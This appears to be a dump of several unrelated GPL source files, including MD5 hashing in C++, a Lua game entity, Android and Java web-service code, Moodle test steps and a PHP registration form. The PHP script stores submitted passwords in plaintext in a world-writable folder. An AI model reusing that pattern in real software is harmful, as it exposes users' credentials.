GG (b, c, d, a, x[12], s24, 0x8d2a4c8a);
/* Round 3 */
HH (a, b, c, d, x[ 5], s31, 0xfffa3942);
HH (d, a, b, c, x[ 8], s32, 0x8771f681);
HH (c, d, a, b, x[11], s33, 0x6d9d6122);
HH (b, c, d, a, x[14], s34, 0xfde5380c);
HH (a, b, c, d, x[ 1], s31, 0xa4beea44);
HH (d, a, b, c, x[ 4], s32, 0x4bdecfa9);
HH (c, d, a, b, x[ 7], s33, 0xf6bb4b60);
HH (b, c, d, a, x[10], s34, 0xbebfbc70);
HH (a, b, c, d, x[13], s31, 0x289b7ec6);
HH (d, a, b, c, x[ 0], s32, 0xeaa127fa);
HH (c, d, a, b, x[ 3], s33, 0xd4ef3085);
HH (b, c, d, a, x[ 6], s34, 0x4881d05);
HH (a, b, c, d, x[ 9], s31, 0xd9d4d039);
HH (d, a, b, c, x[12], s32, 0xe6db99e5);
HH (c, d, a, b, x[15], s33, 0x1fa27cf8);
HH (b, c, d, a, x[ 2], s34, 0xc4ac5665);
/* Round 4 */
II (a, b, c, d, x[ 0], s41, 0xf4292244);
II (d, a, b, c, x[ 7], s42, 0x432aff97);
II (c, d, a, b, x[14], s43, 0xab9423a7);
II (b, c, d, a, x[ 5], s44, 0xfc93a039);
II (a, b, c, d, x[12], s41, 0x655b59c3);
II (d, a, b, c, x[ 3], s42, 0x8f0ccc92);
II (c, d, a, b, x[10], s43, 0xffeff47d);
II (b, c, d, a, x[ 1], s44, 0x85845dd1);
II (a, b, c, d, x[ 8], s41, 0x6fa87e4f);
II (d, a, b, c, x[15], s42, 0xfe2ce6e0);
II (c, d, a, b, x[ 6], s43, 0xa3014314);
II (b, c, d, a, x[13], s44, 0x4e0811a1);
II (a, b, c, d, x[ 4], s41, 0xf7537e82);
II (d, a, b, c, x[11], s42, 0xbd3af235);
II (c, d, a, b, x[ 2], s43, 0x2ad7d2bb);
II (b, c, d, a, x[ 9], s44, 0xeb86d391);
state[0] += a;
state[1] += b;
state[2] += c;
state[3] += d;
}
/**
* @Encodes input (unsigned long) into output (byte).
*
* @param {input} usigned long.
*
* @param {output} byte.
*
* @param {length} the length of input.
*
*/
void MD5::encode(const bit32* input, byte* output, size_t length) {
for (size_t i = 0, j = 0; j < length; ++i, j += 4) {
output[j]= (byte)(input[i] & 0xff);
output[j + 1] = (byte)((input[i] >> 8) & 0xff);
output[j + 2] = (byte)((input[i] >> 16) & 0xff);
output[j + 3] = (byte)((input[i] >> 24) & 0xff);
}
}
/**
* @Decodes input (byte) into output (usigned long).
*
* @param {input} bytes.
*
* @param {output} unsigned long.
*
* @param {length} the length of input.
*
*/
void MD5::decode(const byte* input, bit32* output, size_t length) {
for (size_t i = 0, j = 0; j < length; ++i, j += 4) {
output[i] = ((bit32)input[j]) | (((bit32)input[j + 1]) << 8) |
(((bit32)input[j + 2]) << 16) | (((bit32)input[j + 3]) << 24);
}
}
/**
* @Convert digest to string value.
*
* @return the hex string of digest.
*
*/
string MD5::toStr() {
const byte* digest_ = getDigest();
string str;
str.reserve(16 << 1);
for (size_t i = 0; i < 16; ++i) {
int t = digest_[i];
int a = t / 16;
int b = t % 16;
str.append(1, HEX_NUMBERS[a]);
str.append(1, HEX_NUMBERS[b]);
}
return str;
}
| gpl-3.0 |
AndyClausen/PNRP_HazG | postnukerp/entities/entities/hp_m_kit/init.lua | 1096 | AddCSLuaFile( "cl_init.lua" )
AddCSLuaFile( "shared.lua" )
include('shared.lua')
util.PrecacheModel ("models/stalker/item/medical/medkit2.mdl")
function ENT:Initialize()
self.Entity:SetModel("models/stalker/item/medical/medkit2.mdl")
self.Entity:PhysicsInit( SOLID_VPHYSICS ) -- Make us work with physics,
self.Entity:SetMoveType( MOVETYPE_VPHYSICS ) -- after all, gmod is a physics
self.Entity:SetSolid( SOLID_VPHYSICS ) -- Toolbox
self.Entity:PhysWake()
end
function ENT:Use( activator, caller )
if ( activator:IsPlayer() ) then
// Give the collecting player some free health
local health = activator:Health()
if not ( health == activator:GetMaxHealth() ) then
local sound = Sound("items/medshot4.wav")
self.Entity:EmitSound( sound )
self.Entity:Remove()
activator:SetHealth( health + 50 )
if ( activator:GetMaxHealth() < health + 50 ) then
activator:SetHealth( activator:GetMaxHealth() )
end
end
end
end
function ENT:PostEntityPaste(pl, Ent, CreatedEntities)
self:Remove()
end
| gpl-3.0 |
wzchua/CipherDiary | app/src/main/java/domain/a/not/wz/cipherdiary/ui/CoreActivity/CoreActivity.java | 5679 | package domain.a.not.wz.cipherdiary.ui.CoreActivity;
import android.content.Intent;
import android.os.Bundle;
import android.support.v4.app.FragmentManager;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.view.Menu;
import android.view.MenuItem;
import java.util.Locale;
import domain.a.not.wz.cipherdiary.ui.DiaryEntryActivity.DiaryEntryActivity;
import domain.a.not.wz.cipherdiary.ui.InputEntryActivity.InputEntryActivity;
import domain.a.not.wz.cipherdiary.R;
import domain.a.not.wz.cipherdiary.ui.LoginActivity.LoginActivity;
public class CoreActivity extends AppCompatActivity implements YearMonthViewFragment.OnYearMonthSelectedListener, DayViewFragment.OnDaySelectedListener, EntryViewFragment.OnEntrySelectedListener {
private static final String LOG_TAG = CoreActivity.class.getSimpleName();
public static final String DIARY_NAME_KEY = "diaryName";
public static final int CORE_FRAGMENT_YEAR_MONTH_LISTVIEW = 100;
public static final int CORE_FRAGMENT_DAY_LISTVIEW = 200;
public static final int CORE_FRAGMENT_ENTRIES_LISTVIEW = 300;
static final String CORE_TYPE_KEY = "CORE_FRAGMENT_TYPE";
static final String CORE_YEAR_KEY = "CORE_FRAGMENT_YEAR";
static final String CORE_MONTH_KEY = "CORE_FRAGMENT_MONTH";
static final String CORE_DAY_KEY = "CORE_FRAGMENT_DAY";
private boolean mTwoPane = false;
private String mDiaryName;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_core);
Toolbar toolbar = (Toolbar) findViewById(R.id.core_toolbar);
setSupportActionBar(toolbar);
mDiaryName = getIntent().getStringExtra(DIARY_NAME_KEY);
YearMonthViewFragment fragment = new YearMonthViewFragment();
Bundle args = new Bundle();
args.putInt(CORE_TYPE_KEY, CORE_FRAGMENT_YEAR_MONTH_LISTVIEW);
args.putString(DIARY_NAME_KEY, mDiaryName);
fragment.setArguments(args);
getSupportFragmentManager().beginTransaction()
.add(R.id.fragment_core_container, fragment)
.commit();
//don't really like this but will leave it as it is
getSupportFragmentManager().addOnBackStackChangedListener(
new FragmentManager.OnBackStackChangedListener() {
@Override
public void onBackStackChanged() {
getSupportActionBar().setDisplayHomeAsUpEnabled(getSupportFragmentManager().getBackStackEntryCount() > 0);
}
}
);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_core, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
if (id == R.id.action_add_entry) {
Intent intent = new Intent(this, InputEntryActivity.class);
startActivity(intent);
return true;
}
if(id == R.id.action_lock_diary) {
Intent intent = new Intent(this, LoginActivity.class);
startActivity(intent);
finish();
return true;
}
if(id == android.R.id.home) {
FragmentManager fm = getSupportFragmentManager();
if(fm.getBackStackEntryCount() > 0) {
fm.popBackStack();
}
return true;
}
return super.onOptionsItemSelected(item);
}
@Override
public void onEntrySelected(String id) {
Intent intent = new Intent(this, DiaryEntryActivity.class);
intent.putExtra("ID", id);
intent.putExtra(DIARY_NAME_KEY, mDiaryName);
startActivity(intent);
}
@Override
public void onYearMonthSelected(int year, int month) {
DayViewFragment fragment = new DayViewFragment();
Bundle args = new Bundle();
args.putInt(CORE_TYPE_KEY, CORE_FRAGMENT_DAY_LISTVIEW);
args.putString(CORE_YEAR_KEY,
String.format(Locale.ENGLISH, "%04d", year));
args.putString(CORE_MONTH_KEY,
String.format(Locale.ENGLISH, "%02d", month));
args.putString(DIARY_NAME_KEY, mDiaryName);
fragment.setArguments(args);
getSupportFragmentManager().beginTransaction()
.replace(R.id.fragment_core_container, fragment)
.addToBackStack(null)
.commit();
}
@Override
public void onDaySelected(int year, int month, int day) {
EntryViewFragment fragment = new EntryViewFragment();
Bundle args = new Bundle();
args.putInt(CORE_TYPE_KEY, CORE_FRAGMENT_ENTRIES_LISTVIEW);
args.putString(CORE_YEAR_KEY,
String.format(Locale.ENGLISH, "%04d", year));
args.putString(CORE_MONTH_KEY,
String.format(Locale.ENGLISH, "%02d", month));
args.putString(CORE_DAY_KEY,
String.format(Locale.ENGLISH, "%02d", day));
args.putString(DIARY_NAME_KEY, mDiaryName);
fragment.setArguments(args);
getSupportFragmentManager().beginTransaction()
.replace(R.id.fragment_core_container, fragment)
.addToBackStack(null)
.commit();
}
}
| gpl-3.0 |
tazvoit/ARPP | cancelacion/cancelacion-web/src/main/java/com/gisnet/cancelacion/webservices/ConsultarListaDeNotarios.java | 12157 | /*
* Copyright (C) 2015 GISNET
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.gisnet.cancelacion.webservices;
import com.gisnet.cancelacion.core.services.NotarioService;
import com.gisnet.cancelacion.events.FindByRequest;
import com.gisnet.cancelacion.events.FindResponse;
import com.gisnet.cancelacion.events.ListRequest;
import com.gisnet.cancelacion.events.ListResponse;
import com.gisnet.cancelacion.events.SaveRequest;
import com.gisnet.cancelacion.events.SaveResponse;
import com.gisnet.cancelacion.events.info.CasoInfo;
import com.gisnet.cancelacion.events.info.NotarioInfo;
import com.gisnet.cancelacion.web.domain.NotarioForm;
import com.gisnet.cancelacion.webservices.dto.CNotario;
import java.security.Principal;
import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import javax.validation.Valid;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.ui.Model;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
import org.springframework.web.context.support.SpringBeanAutowiringSupport;
/**
*
* @author leonel
*/
public class ConsultarListaDeNotarios extends SpringBeanAutowiringSupport {
@Autowired
private NotarioService service;
//NoHayConexionBD nobd = new NoHayConexionBD();
/**
* Es el Servicio Web que permite consultar la lista de notarios
*
* @param numeroDeCredito
* @param entidad
* @return Una lista en donde se encuentran los datos del notario consultado
*/
public List<CNotario> consultarListaDeNotarios() {
// Operación que regresa una lista del total de notarios
List<CNotario> notarios = new ArrayList<CNotario>();
List<CNotario> notariosSinConvenio = new ArrayList<CNotario>();
try{
ListRequest lr = new ListRequest();
ListResponse<NotarioInfo> list = service.list(lr);
if(!list.getList().isEmpty()){
for(NotarioInfo ni : list.getList()){
CNotario cn = new CNotario();
cn.setEntidad(ni.getEntidad2());
cn.setNombreNotario(ni.getNombre());
cn.setCodigoNotario(Integer.parseInt(ni.getCodigoNotario()));
cn.setNotariaNumero(ni.getNotariaNumero());
cn.setConvenioInfonavit(ni.getConvenio());
cn.setEmail(ni.getEmail());
cn.setTelefono(ni.getTelefono());
cn.setIdentificadorUnicoNotario(ni.getId());
cn.setCodigo(0);
cn.setDescripcion("Se consultó satisfactoriamente el notario.");
if(cn.getConvenioInfonavit().length() > 0){
//System.out.println("Se agrega notario CON convenio");
notarios.add(cn);
}
else{
if(cn.getConvenioInfonavit().length() == 0){
//System.out.println("Se agrega notario SIN convenio");
notariosSinConvenio.add(cn);
}
}
}
//System.out.println("-----Ordenado por Nombre de Notario CON convenio-----");
Collections.sort(notarios, new Comparator<CNotario>(){
@Override
public int compare(CNotario cn1, CNotario cn2) {
return cn1.getNombreNotario().compareTo(cn2.getNombreNotario());
}
});
/**for(CNotario notario : notarios){
System.out.println("Notario: "+ notario.getNombreNotario()+ " CONVENIO: " + notario.getConvenioInfonavit());
}**/
//System.out.println("-----Ordenado por Nombre de Notario SIN convenio-----");
Collections.sort(notariosSinConvenio, new Comparator<CNotario>(){
@Override
public int compare(CNotario cn1, CNotario cn2) {
return cn1.getNombreNotario().compareTo(cn2.getNombreNotario());
}
});
/**for(CNotario notario : notariosSinConvenio){
System.out.println("Notario: "+ notario.getNombreNotario()+ " CONVENIO: " + notario.getConvenioInfonavit());
}**/
notarios.addAll(notariosSinConvenio);
}
else{
CNotario cn = new CNotario();
cn.setEntidad(" ");
cn.setNombreNotario("Liberación por RPP");
cn.setCodigoNotario(0);
cn.setNotariaNumero(" ");
cn.setConvenioInfonavit(" ");
cn.setEmail(" ");
cn.setTelefono(" ");
cn.setCodigo(1);
cn.setDescripcion("No se encontraron notarios.");
notarios.add(cn);
System.out.println("Estatus 1");
System.out.println("No se encontraron notarios.");
}
}
catch(Exception e){
CNotario cn = new CNotario();
cn.setCodigo(2);
cn.setDescripcion("No hay conexión con la base de datos.");
notarios.add(cn);
System.out.println("Status 2");
System.out.println("No hay conexión con la base de datos.");
}
return notarios;
}
public String entidad(int numeroDeCredito) {
String entidad = "";
FindByRequest fbr = new FindByRequest("numeroCredito",numeroDeCredito);
FindResponse<NotarioInfo> response = service.find(fbr);
//List <NotarioInfo> ls = response.getList();
NotarioInfo notario = response.getInfo();
entidad = notario.getEntidad2();
return entidad;
}
public List<CNotario> consultarListaDeNotariosPorEntidad(String entidad) {
List<CNotario> notarios = new ArrayList<CNotario>();
List<CNotario> notariosSinConvenio = new ArrayList<CNotario>();
try{
// Operación que regresa una lista de los notarios de la determinada entidad.
ListRequest lr = new ListRequest("entidad",entidad);
ListResponse<NotarioInfo> list = service.list(lr);
if(!list.getList().isEmpty()){
for(NotarioInfo ni : list.getList()){
CNotario cn = new CNotario();
cn.setEntidad(ni.getEntidad2());
cn.setNombreNotario(ni.getNombre());
cn.setCodigoNotario(Integer.parseInt(ni.getCodigoNotario()));
cn.setNotariaNumero(ni.getNotariaNumero());
cn.setConvenioInfonavit(ni.getConvenio());
cn.setEmail(ni.getEmail());
cn.setTelefono(ni.getTelefono());
cn.setIdentificadorUnicoNotario(ni.getId());
cn.setCodigo(0);
cn.setDescripcion("Se consulto satisfactoriamente el notario.");
/**System.out.println("("+cn.getConvenioInfonavit()+")");
System.out.println("(length:"+cn.getConvenioInfonavit().length()+")");**/
if(cn.getConvenioInfonavit().length() > 0){
//System.out.println("Se agrega notario CON convenio");
notarios.add(cn);
}
else{
if(cn.getConvenioInfonavit().length() == 0){
//System.out.println("Se agrega notario SIN convenio");
notariosSinConvenio.add(cn);
}
}
}
/**System.out.println("-----Se muestran los notarios con convenio -----");
for(CNotario notario : notarios){
System.out.println("Notario: "+ notario.getNombreNotario()+ " CONVENIO: " + notario.getConvenioInfonavit());
}
System.out.println("-----Se muestran los notarios que no tienen convenio-----");
for(CNotario notario : notariosSinConvenio){
System.out.println("Notario: "+ notario.getNombreNotario()+ " CONVENIO: " + notario.getConvenioInfonavit());
}**/
//System.out.println("-----Ordenado por Nombre de Notario CON convenio-----");
Collections.sort(notarios, new Comparator<CNotario>(){
@Override
public int compare(CNotario cn1, CNotario cn2) {
return cn1.getNombreNotario().compareTo(cn2.getNombreNotario());
}
});
/**for(CNotario notario : notarios){
System.out.println("Notario: "+ notario.getNombreNotario()+ " CONVENIO: " + notario.getConvenioInfonavit());
}**/
//System.out.println("-----Ordenado por Nombre de Notario SIN convenio-----");
Collections.sort(notariosSinConvenio, new Comparator<CNotario>(){
@Override
public int compare(CNotario cn1, CNotario cn2) {
return cn1.getNombreNotario().compareTo(cn2.getNombreNotario());
}
});
/**for(CNotario notario : notariosSinConvenio){
System.out.println("Notario: "+ notario.getNombreNotario()+ " CONVENIO: " + notario.getConvenioInfonavit());
}**/
notarios.addAll(notariosSinConvenio);
CNotario cn2 = new CNotario();
cn2.setEntidad(" ");
cn2.setNombreNotario("Liberación por RPP");
cn2.setCodigoNotario(0);
cn2.setNotariaNumero(" ");
cn2.setConvenioInfonavit(" ");
cn2.setEmail(" ");
cn2.setTelefono(" ");
cn2.setIdentificadorUnicoNotario(0);
cn2.setCodigo(0);
cn2.setDescripcion(" ");
notarios.add(cn2);
//System.out.println(" posición (0):" + notarios.get(0).getNombreNotario());
/**System.out.println("-----Se muestran primero los notarios CON convenio y después los que no tienen convenio (EN TEORIA jajaja)-----");
for(CNotario notario : notarios){
System.out.println("Notario: "+ notario.getNombreNotario()+ " CONVENIO: " + notario.getConvenioInfonavit());
}**/
}
else{
CNotario cn = new CNotario();
cn.setEntidad(" ");
cn.setNombreNotario("Liberación por RPP");
cn.setCodigoNotario(0);
cn.setNotariaNumero(" ");
cn.setConvenioInfonavit(" ");
cn.setEmail(" ");
cn.setTelefono(" ");
cn.setIdentificadorUnicoNotario(0);
cn.setCodigo(1);
cn.setDescripcion("No se encontraron notarios en la entidad " + entidad + ".");
notarios.add(cn);
System.out.println("Estatus 1");
System.out.println("No se encontraron notarios en la entidad " + entidad + ".");
}
}catch(Exception e){
CNotario cn = new CNotario();
cn.setCodigo(1);
cn.setDescripcion("Error al consultar los notarios.");
notarios.add(cn);
System.out.println("Status 1");
System.out.println("Error al consultar los notarios.");
}
return notarios;
}
}
| gpl-3.0 |
masterxyth/bcvotes | static/script.js | 1651 |
// Linear Search
function search() {
// Declare variables
var input, filter, table, tr, td, i;
input = document.getElementById("search");
filter = input.value.toUpperCase();
table = document.getElementsByClassName("dataframe data");
tr = document.getElementsByTagName("tr");
// Loop through all table rows, and hide those who don't match the search query
for (i = 0; i < tr.length; i++) {
td1 = tr[i].getElementsByTagName("td")[0];
td2 = tr[i].getElementsByTagName("td")[1];
td3 = tr[i].getElementsByTagName("td")[2];
if (td1) {
if (td1.innerHTML.toUpperCase().indexOf(filter) > -1) {
tr[i].style.display = "";
}
else {
if (td2) {
if (td2.innerHTML.toUpperCase().indexOf(filter) > -1) {
tr[i].style.display = "";
} else {
if (td3) {
if (td3.innerHTML.toUpperCase().indexOf(filter) > -1) {
tr[i].style.display = "";
} else {
tr[i].style.display = "none";
}
}
}
}
}
}
}
}
// Create column classes
var td = document.getElementsByTagName('td');
for ( var i = 0; i <td.length-3; i+=3) {
td[i].className = 'riding_column';
td[i+1].className = 'candidate_column';
td[i+2].className = 'party_column';
}
// creating the 'row class'
var rows = document.getElementsByTagName('tr');
for (var i = 0; i<rows.length; i++) {
rows[i].className = 'row';
}
| gpl-3.0 |
shubhamkmr47/Helikar | inst/www/js/components/TimeSeriesModal.js | 1211 | /*
copyright 2016 Helikar Lab
Developed by Shubham Kumar, Vinit Ravishankar and Akram Mohammed
This program is free software: you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation, either version 3 of the License, or (at your option) any later
version. This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details. You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
*/
var TimeSeriesModal = React.createClass({
render: function() {
return (
<Modal {...this.props} title="Time Series Analysis">
<div className='modal-body'>
Input format: The csv file of data should contain a column of rows that determines the time.
</div>
<div className='modal-footer'>
<Button onClick={this.handleClick}>Submit</Button>
</div>
</Modal>
);
},
handleClick: function() {
this.props.onRequestHide();
this.props.onClick(this);
}
});
| gpl-3.0 |
nitro2010/moodle | blocks/dataformnotification/tests/behat/behat_block_dataformnotification.php | 6080 | <?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Steps definitions related with the dataform activity.
*
* @package mod_dataform
* @category tests
* @copyright 2013 Itamar Tzadok
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
// NOTE: no MOODLE_INTERNAL test here, this file may be required by behat before including /config.php.
require_once(__DIR__ . '/../../../../lib/behat/behat_base.php');
use Behat\Behat\Context\Step\Given as Given;
use Behat\Gherkin\Node\TableNode as TableNode;
use Behat\Gherkin\Node\PyStringNode as PyStringNode;
/**
* Dataform-related steps definitions.
*
* @package block_dataformnotification
* @category tests
* @copyright 2015 Itamar Tzadok
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
class behat_block_dataformnotification extends behat_base {
/**
* Creates a dataform notification rule.
*
* @Given /^the following dataform notification rule exists:$/
* @param TableNode $data
*/
public function the_following_dataform_notification_rule_exists(TableNode $data) {
global $DB;
$datahash = $data->getRowsHash();
// Get the dataform.
$idnumber = $datahash['dataform'];
if (!$dataformid = $DB->get_field('course_modules', 'instance', array('idnumber' => $idnumber))) {
throw new Exception('The specified dataform with idnumber "' . $idnumber . '" does not exist');
}
$df = new \mod_dataform_dataform($dataformid);
$blockname = 'dataformnotification';
// Compile the rule config.
$config = new stdClass;
$config->name = $datahash['name'];
$config->enabled = (int) !empty($datahash['enabled']);
$config->timefrom = !empty($datahash['from']) ? strtotime($datahash['from']) : 0;
$config->timeto = !empty($datahash['to']) ? strtotime($datahash['to']) : 0;
if (!empty($datahash['views'])) {
$config->viewselection = 1;
$config->views = explode(',', $datahash['views']);
}
$config->events = explode(',', $datahash['events']);
$config->messagetype = (int) !empty($datahash['messagetype']);
$config->subject = !empty($datahash['subject']) ? $datahash['subject'] : null;
$config->contenttext = !empty($datahash['contenttext']) ? $datahash['contenttext'] : null;
$config->contentview = !empty($datahash['contentview']) ? $datahash['contentview'] : null;
$config->messageformat = !empty($datahash['messageformat']) ? $datahash['messageformat'] : FORMAT_PLAIN;
$config->sender = !empty($datahash['sender']) ? $datahash['sender'] : \core_user::NOREPLY_USER;
$config->recipient = array(
'admin' => (int) !empty($datahash['recipientadmin']),
'support' => (int) !empty($datahash['recipientsupport']),
'author' => (int) !empty($datahash['recipientauthor']),
'role' => (int) !empty($datahash['recipientrole']),
'username' => !empty($datahash['recipientusername']) ? $datahash['recipientusername'] : null,
'email' => !empty($datahash['recipientemail']) ? $datahash['recipientemail'] : null,
);
// Custom search.
$filterformhelper = '\mod_dataform\helper\filterform';
$searchies = array();
$i = 0;
foreach ($datahash as $key => $searchoption) {
if (strpos($key, 'search') !== 0) {
continue;
}
if (empty($searchoption)) {
continue;
}
$keys = array("searchandor$i", "searchfield$i", "searchnot$i", "searchoperator$i", "searchvalue$i");
$criterion = array_combine($keys, explode('#', $searchoption));
$searchies = array_merge($searchies, $criterion);
$i++;
}
$customsearch = $filterformhelper::get_custom_search_from_form((object) $searchies, $df->id);
if ($customsearch) {
$config->customsearch = $customsearch;
}
$configdata = base64_encode(serialize($config));
// Create the rule block.
$bi = new stdClass;
$bi->blockname = $blockname;
$bi->parentcontextid = $df->context->id;
$bi->showinsubcontexts = 0;
$bi->pagetypepattern = 'mod-dataform-notification-index';
$bi->defaultregion = 'side-pre';
$bi->defaultweight = 0;
$bi->configdata = $configdata;
$bi->id = $DB->insert_record('block_instances', $bi);
// Ensure the block context is created.
$blockcontext = context_block::instance($bi->id);
// If the new instance was created, allow it to do additional setup.
if ($block = block_instance($blockname, $bi)) {
$block->instance_create();
}
// Set permissions.
foreach ($datahash as $key => $value) {
if (strpos($key, 'permission') === 0 and $value) {
list($role, $perm, $capability) = array_map('trim', explode(' ', trim($value)));
// Get the role id.
$roleid = $DB->get_field('role', 'id', array('shortname' => $role));
$permission = constant('CAP_'. strtoupper($perm));
assign_capability($capability, $permission, $roleid, $blockcontext->id);
$blockcontext->mark_dirty();
}
}
}
}
| gpl-3.0 |
LinEvil/ProtocolSupport | src/protocolsupport/protocol/transformer/middlepacketimpl/PacketData.java | 1072 | package protocolsupport.protocol.transformer.middlepacketimpl;
import io.netty.util.Recycler;
import protocolsupport.api.ProtocolVersion;
import protocolsupport.protocol.PacketDataSerializer;
import protocolsupport.utils.netty.Allocator;
public class PacketData extends PacketDataSerializer {
private static final Recycler<PacketData> RECYCLER = new Recycler<PacketData>() {
protected PacketData newObject(Recycler.Handle handle) {
return new PacketData(handle);
}
};
public static PacketData create(int packetId, ProtocolVersion version) {
PacketData packetdata = RECYCLER.get();
packetdata.packetId = packetId;
packetdata.setVersion(version);
return packetdata;
}
private final Recycler.Handle handle;
private PacketData(Recycler.Handle handle) {
super(Allocator.allocateUnpooledBuffer());
this.handle = handle;
}
public void recycle() {
packetId = 0;
clear();
RECYCLER.recycle(this, handle);
}
private int packetId;
public int getPacketId() {
return packetId;
}
@Override
protected void finalize() {
release();
}
}
| gpl-3.0 |
timotebx/codePHP- | TP1-Formulaire-Inscription/register.php | 1621 | <?php
if(!empty($_POST)){
if(isset($_POST['nom']) && isset($_POST['prenom']) && isset($_POST['password']) && isset($_POST['passwordConfirm']) && isset($_POST['civilite']) && isset($_POST['ville']) && isset($_POST['selectedLanguages']) && isset($_POST['descriptiton'])){
if($_POST['nom'] != "" && $_POST['prenom'] != "" && $_POST['password'] != "" && $_POST['passwordConfirm'] != "" && $_POST['civilite'] != "" && $_POST['ville'] != "" && $_POST['selectedLanguages'] != "" && $_POST['descriptiton'] != ""){
if($_POST['password'] == $_POST['passwordConfirm']){
if(strlen($_POST['password']) > 8){
$ip = $_SERVER["REMOTE_ADDR"];
$folderName = str_replace(".", "_", $ip);
mkdir("_FILES/".$folderName, 0777);
$monfichier = fopen("./_FILES/".$folderName."/infos.txt", 'a+');
fputs($monfichier, "Nom -> ".$_POST['nom']);
fputs($monfichier, "\nprenom -> ".$_POST['prenom']);
fputs($monfichier, "\nMot de passe -> ".$_POST['password']);
fputs($monfichier, "\nCivilite -> ".$_POST['civilite']);
fputs($monfichier, "\nVille -> ".$_POST['ville']);
foreach ($_POST['selectedLanguages'] as $key => $value) {
fputs($monfichier, "\nLanguage -> ".$value);
}
fputs($monfichier, "\nDescription ->".$_POST['descriptiton']);
if(fclose($monfichier)){
echo 1;
}
}else{
echo "Le mot de passe saisi est trop court";
}
}else{
echo "Les deux mots de passe ne correspondent pas";
}
}else{
echo "Vous devez renseigner correctement tous les champs";
}
}else{
echo "Erreur";
}
}
?> | gpl-3.0 |
glycoinfo/eurocarbdb | application/Eurocarbdb/src/java/org/eurocarbdb/action/ms/ShowScanAnnotations.java | 3755 | /*
* EuroCarbDB, a framework for carbohydrate bioinformatics
*
* Copyright (c) 2006-2009, Eurocarb project, or third-party contributors as
* indicated by the @author tags or express copyright attribution
* statements applied by the authors.
*
* This copyrighted material is made available to anyone wishing to use, modify,
* copy, or redistribute it subject to the terms and conditions of the GNU
* Lesser General Public License, as published by the Free Software Foundation.
* A copy of this license accompanies this distribution in the file LICENSE.txt.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License
* for more details.
*
* Last commit: $Rev: 1924 $ by $Author: khaleefah $ on $Date:: 2010-06-20 #$
*/
package org.eurocarbdb.action.ms;
import org.eurocarbdb.sugar.SugarSequence;
import org.eurocarbdb.tranche.*;
import org.eurocarbdb.MolecularFramework.sugar.Sugar;
import org.eurocarbdb.action.*;
import org.eurocarbdb.action.exception.*;
import org.eurocarbdb.dataaccess.*;
import org.eurocarbdb.dataaccess.ms.*;
import org.eurocarbdb.dataaccess.core.*;
import org.eurocarbdb.dataaccess.hibernate.*;
import org.eurocarbdb.application.glycanbuilder.Glycan;
import org.eurocarbdb.application.glycoworkbench.GlycanWorkspace;
import com.opensymphony.xwork.Action;
import com.opensymphony.xwork.Preparable;
import org.hibernate.*;
import org.hibernate.criterion.*;
import org.eurocarbdb.dataaccess.hibernate.*;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.*;
import java.util.regex.Pattern;
import java.io.*;
import org.apache.commons.io.*;
import org.apache.log4j.Logger;
import org.apache.taglibs.standard.lang.jpath.adapter.ConversionException;
import org.apache.taglibs.standard.lang.jpath.adapter.Convert;
/**
* @author Khalifeh Al Jadda
* @version $Rev: 1924 $
*/
public class ShowScanAnnotations extends AbstractMsAction implements RequiresLogin, EditingAction{
private List<Object> scanAnnotations = null;
private Object[][] items = null;
private int scanId = 0;
protected static final Logger log = Logger.getLogger( ShowScanAnnotations.class.getName() );
// output message
private String strMessage = "";
public String getMessage()
{
return strMessage;
}
public void setMessage(String strMessage)
{
this.strMessage = strMessage;
}
@Override
public void checkPermissions() throws InsufficientPermissions {
// TODO Auto-generated method stub
}
@SuppressWarnings("unchecked")
public String execute() throws Exception{
try
{
setScanAnnotations(PeakAnnotated.getScanAnnotations(scanId));
}catch(Exception e){
addActionError("Can't retrieve peaklists and acquisitions");
return ERROR;
}
items = new Object[scanAnnotations.size()][];
Iterator iter = scanAnnotations.iterator();
for(int i=0 ; i< scanAnnotations.size(); i++)
{
items[i] = (Object[])iter.next();
// Date d;
